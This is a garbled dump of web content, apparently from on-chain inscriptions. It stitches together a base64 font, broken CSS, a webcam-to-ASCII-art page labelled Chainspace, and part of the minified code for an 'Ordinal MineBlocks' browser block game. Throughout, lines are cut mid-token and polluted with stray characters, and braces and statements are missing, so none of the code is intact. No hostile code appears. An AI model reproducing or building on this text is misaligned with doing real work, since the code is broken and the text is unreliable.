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) format('woff');
  font-weight: normal;
  font-style: normal;
    text-align: center;
    overflow: hidden;
    background: #eaeaea;
    align-items: center;
    justify-content: center;
  body.mobile #text-video {
    font-family: 'Noto Mathcastles Remix', monospace;
    pointer-events: none;
    justify-content: center;
    align-items: center;
    transform: scaleX(-1);
    -webkit-transform: scaleXM
    background: #D61355;
    font-size: 14px;
    justify-content: center;
    transform: scaleX(-1);
    -webkit-transform: scaleX(-1);
    cursor: pointer;
    justify-content: center;
    pointer-events: none;
    background: #fff;
    border: 1px solid #111;
    padding: 3px 10px;
    font-family: monospace;
    cursor: pointer;
    outline: inherit;
    border-radius: 3px;
    flex-direction: column;
    align-items: center;
    justify-content: center;
    font-family: monospace;
    text-align: center;
    margin-top: 20px;
    margin-bottom: 4px;
    background: #222;
    border-radius: 20px;
    box-shadow: 0 0 16px 0 rgba(0, 0, 0, 0.5);
    margin-bottom: 0;
    font-size: 13px;
  <div id="wrapper">
      <video id="video">Portal is closed.</video>
      <canvas id="canvas-video"></canvas>
    <div id="frame">
      <div id="text-video"></div>
      <div id="header">
 You are the art in Chainspace.app
    <button id="stop">Wave</button>
    function run() {
      function isMobM
        return (typeof window.orientation !== "undefined") || (navigator.userAgent.indexOf('IEMobile') !== -1);
      const video = document.getElementById('video')
      video.setAttribute('autoplay', '');
      video.setAttribute('muted', '');
      video.setAttribute('playsinline', '')
      const textVideo = document.getElementById('text-video')
      const canvas = document.getElementById('canvas-video')
      const ctx = canvas.getContext('2d', { willReadFrequently: true });
      let cyclerEnabled = false;
      let cycler = 0;
      let isMobile = isMobileDevice();
      const chars = [..."
      const colors = ["#F94A29", "#FCE22A", "#FCE22A", "#30E3DF", "#D61355", ];
      let running = true;
      if (chars.length === 280) {
        cyclerEnabled = true;
      function setCanvasSize() {
        w = Math.min(window.innerWidth, 450);
        h = Math.min(window.innerHeight, isMobileDevice() ? 600 :M
        height = Math.floor(h / 10);
        width = Math.floor(w / 6.9);
      let resizeTimeout;
      window.onresize = function () {
        clearTimeout(resizeTimeout);
        resizeTimeout = setTimeout(setCanvasSize, 100);
      const init = () => {
        setCanvasSize();
        document.body.classList.add(isMobile ? 'mobile' : null)
        navigator.mediaDevices.getUserMedia({ video: true, audio: false })
          .then(function (stream) {
            video.srcObject = streamM
            video.play();
          .catch(function (err) {
            running = false;
      const render = (ctx) => {
        if (width && height) {
          canvas.width = width;
          canvas.height = height;
          ctx.drawImage(video, 0, 0, width, height);
      const getPixelsGreyScale = (ctx) => {
        const imageData = ctx.getImageData(0, 0, canvas.width, canvas.height);
        const data = imageData.data;
t res = new Array(height).fill(0).map(() => []);
        for (let i = 0, c = 0; i < data.length; i += 4) {
          const avg = (data[i] + data[i + 1] + data[i + 2]) / 3;
          let curr = res[row]
          curr.push(avg)
          if (c < width) {
          if (c === width) {
            row += 1
        if (isMobile) {
          return res.map(row => row.slice(row.length / 4, row.length - row.length / 4));
      const getCharByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (chars.length));
        return chars[val % chars.length];
      const getColorByScale = (scale) => {
        const val = Math.floor((scale + cycler) / 255 * (colors.length));
        return colors[val % colors.length];
      const renderText = (node, textDarkScale) => {
        let gap = isMobileDevice() ? 15 : 10;
        const gridElem = document.createElement('div');
        gridElem.classM
        gridElem.style.gridTemplateColumns = `repeat(${textDarkScale[0].length}, ${gap}px)`;
        gridElem.style.gridTemplateRows = `repeat(${textDarkScale.length}, ${gap}px)`;
        for (let i = 0; i < textDarkScale.length; i++) {
          for (let k = 0; k < textDarkScale[i].length; k++) {
            const textElem = document.createElement('p');
            textElem.style.color = getColorByScale(textDarkScale[i][k]);
            textElem.innerHTML = getCharByScale(textDarkScale[i][k]);
        gridElem.appendChild(textElem);
        node.textContent = "";
        node.appendChild(gridElem);
      const frame = () => requestAnimationFrame(() => {
        const chars = getPixelsGreyScale(ctx)
        renderText(textVideo, chars)
        if (running) {
        if (cyclerEnabled) {
          cycler+=3;
      document.getElementById('stop').addEventListener('click', (e) =MA
        running = !running
        if (running) {
      document.getElementById('text-video').onclick = () => {
        cyclerEnabled = !cyclerEnabled;
    window.addEventListener('DOMContentLoaded', () => {
text/html;charset=utf-8
<!DOCTYPE html><html><head><style>
body{background:#DDDDDD}
canvas{image-rendering:pixelated;box-sizing:border-box}
body{text-align:center}
button{border-radius:4px}
.fixed{position:fixed;top:4px}
.fps{right:4px;font-family:Impact,Charcoal,sans-serif;color:white;-webkit-text-stroke:1px black;font-variant:small-caps;font-size:20px}
.hidables,.nosaving{display:none}
#lock,#save{background:none;background:#ffffff4d}
  line-height: 100vh;
  font-family: sans-serif
.extended #lock:after{background:#ffffff;content:" Options"}
.extended #save:after{background: #ffffff;content:" Save"}
.extended .hidables,.show{display:initial}
.text{color:#777;text-align:left;padding-left:20px;margin-bottom:80px}.text div{display:inline-block;width:48%}
.text:hover{color:#000}
/* Reset CSS */html{line-height:1.15;-webkit-text-size-adjust:100%}body{margin:0}main,details{display:block}h1{font-size:2em;margin:.67em 0}hr{box-M
sizing:content-box;height:0;overflow:visible}pre{font:1em monospace,monospace}a{background-color:transparent}abbr[title]{border-bottom:none;text-decoration:underline;text-decoration:underline dotted}b,strong{font-weight:bolder}code,kbd,samp{font:1em monospace,monospace}small{font-size:80%}sub,sup{font-size:75%;line-height:0;position:relative;vertical-align:baseline}sub{bottom:-.25em}sup{top:-.5em}img{border-style:none}button,input,optgroup,select,textarea{margin:0;font:100%/1.15 inherit}button,input{overflow:visiblM
e}button,select{text-transform:none}button,[type="button"],[type="reset"],[type="submit"]{-webkit-appearance:button}button::-moz-focus-inner,[type="button"]::-moz-focus-inner,[type="reset"]::-moz-focus-inner,[type="submit"]::-moz-focus-inner{border-style:none;padding:0}button:-moz-focusring,[type="button"]:-moz-focusring,[type="reset"]:-moz-focusring,[type="submit"]:-moz-focusring{outline:1px dotted ButtonText}fieldset{padding:.35em .75em .625em}legend{box-sizing:border-box;color:inherit;display:table;max-width:100M
%;padding:0;white-space:normal}progress{vertical-align:baseline}textarea{overflow:auto}[type="checkbox"],[type="radio"]{box-sizing:border-box;padding:0}[type="number"]::-webkit-inner-spin-button,[type="number"]::-webkit-outer-spin-button{height:auto}[type="search"]{-webkit-appearance:textfield;outline-offset:-2px}[type="search"]::-webkit-search-decoration{-webkit-appearance:none}::-webkit-file-upload-button{-webkit-appearance:button;font:;font-style:normal;font-variant:normal;font-weight:normal;font-family:inherit}M
summary{display:list-item}[hidden],template{display:none}
  <div id=toolbar class=fixed>
    <button id=lock>
    <button id=save>
    <span class=hidables>
      <button id=load>
      <button id=newseeed>
      <span> | </span>
      <button id=minus>
      <button id=plus>
      <button id=interlace>
  <div class="fixed fps">0</div>
=loading>Click Content to play @OrdMineBlocks</h1>
  <canvas id=game></canvas>
  <div class=center>
    <h1>Ordinal MineBlocks</h1>
    <p>Bringing Blocks on the Blockchain, On-Chain, Forever.</p>
      <h2>Join Us:</h2>
      <p>- Twitter: https://twitter.com/OrdMineBlocks </p>
      <p>- Discord: https://discord.gg/dAqfzKQDBj </p>
    <div class=center>
      <h2>Controls:</h2>
      <p>- <b>[wasd]</b> to move</p>
      <p>- <b>[e]</b> to toggle craftable items</p>
      <p>- <b>[spacebar]</b> to jumM
      <p>- Hold <b>[shift]</b> to take/build on liquids</p>
      <p>- <b>[left click]</b> to break a block</p>
      <p>- <b>[right click]</b> to build a block</p>
      <p>- <b>[number keys]</b> to change selected items</p>
<script type="text/javascript">
  !function(t){function e(n){if(r[n])return r[n].exports;var o=r[n]={i:n,l:!1,exports:{}};return t[n].call(o.exports,o,o.exports,e),o.l=!0,o.exports}var r={};e.m=t,e.c=r,e.d=function(t,r,n){e.o(t,r)||Object.defineProperty(t,r,{configurM
able:!1,enumerable:!0,get:n})},e.n=function(t){var r=t&&t.__esModule?function(){return t.default}:function(){return t};return e.d(r,"a",r),r},e.o=function(t,e){return Object.prototype.hasOwnProperty.call(t,e)},e.p="",e(e.s=12)}([function(t,e,r){"use strict";function n(t,e,r){try{return window.game.map[0|t][0|e][0|r]}catch(e){}}var o=r(1),i=function(t){return t&&t.__esModule?t:{default:t}}(o),a=!1,u=!1,c=!1,f=document.querySelector("#game");(0,i.default)(function(){u=!1}),t.exports={dlog:function(){c||(c=!0,console.M
log.apply(this,arguments),setTimeout(function(){return c=!1},500))},drawAllTextures:function(){for(var t=window.game,e=t.pixels,r=t.texmap,n=t.width,o=0;21>o;o++)for(var i=0;i<48;i++)for(var a=0;16>a;a++){var u=r[a+16*i+256*o*3],c=1.328125,f=16*o,s=f+a,l=n*i;16<o&&(s-=272,l=n*(i+48));var d=4*(s+l);e.data[d+0]=(255&u>>16)*c,e.data[d+1]=(255&u>>8)*c,e.data[d+2]=(255&u)*c}},getBlock:n,setBlock:function(t,e,r,n,o,i){if(o=o||window.game.map,!(255<t||255<e||255<r))try{o[t][e][r]!==i&&(o[t][e][r]=n)}catch(e){}},isInsideChM
eck:function(){if(u)return a;u=!0;for(var t,e=window.game.player,r=e.x,o=e.y,i=e.z,c=o;0<c;c--)if(0!==(t=n(r,c,i))&&8!==t)return a=!0;return a=!1},calcArcFromLength:function(t,e){var r=e/2;return(r-Math.abs(t-r))/r},tryCatch:function(t){var e=null;try{e=t()}catch(t){e=null}return e},getCanvas:function(){return f}}},function(t,e){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=[];setInterval(function(){r.forEach(function(t){return t()})},1e3),e.default=function(t){r.push(t)}},function(t,e,r){"useM
 strict";function n(){return Math.abs(c)/255}function o(){var t=f[0],e=f[1],r=f[2],o=s[0],i=s[1],a=s[2],u=n(),c=[t*(1-u),e*(1-u),r*(1-u)],l=[o*u,i*u,a*u];return[c[0]+l[0],c[1]+l[1],c[2]+l[2]]}Object.defineProperty(e,"__esModule",{value:!0}),e.time=void 0;var i=function(){function t(t,e){var r,n=[],o=!0,i=!1;try{for(var a,u=t[Symbol.iterator]();!(o=(a=u.next()).done)&&(n.push(a.value),!e||n.length!==e);o=!0);}catch(t){i=!0,r=t}finally{try{!o&&u.return&&u.return()}finally{if(i)throw r}}return n}return function(e,r){iM
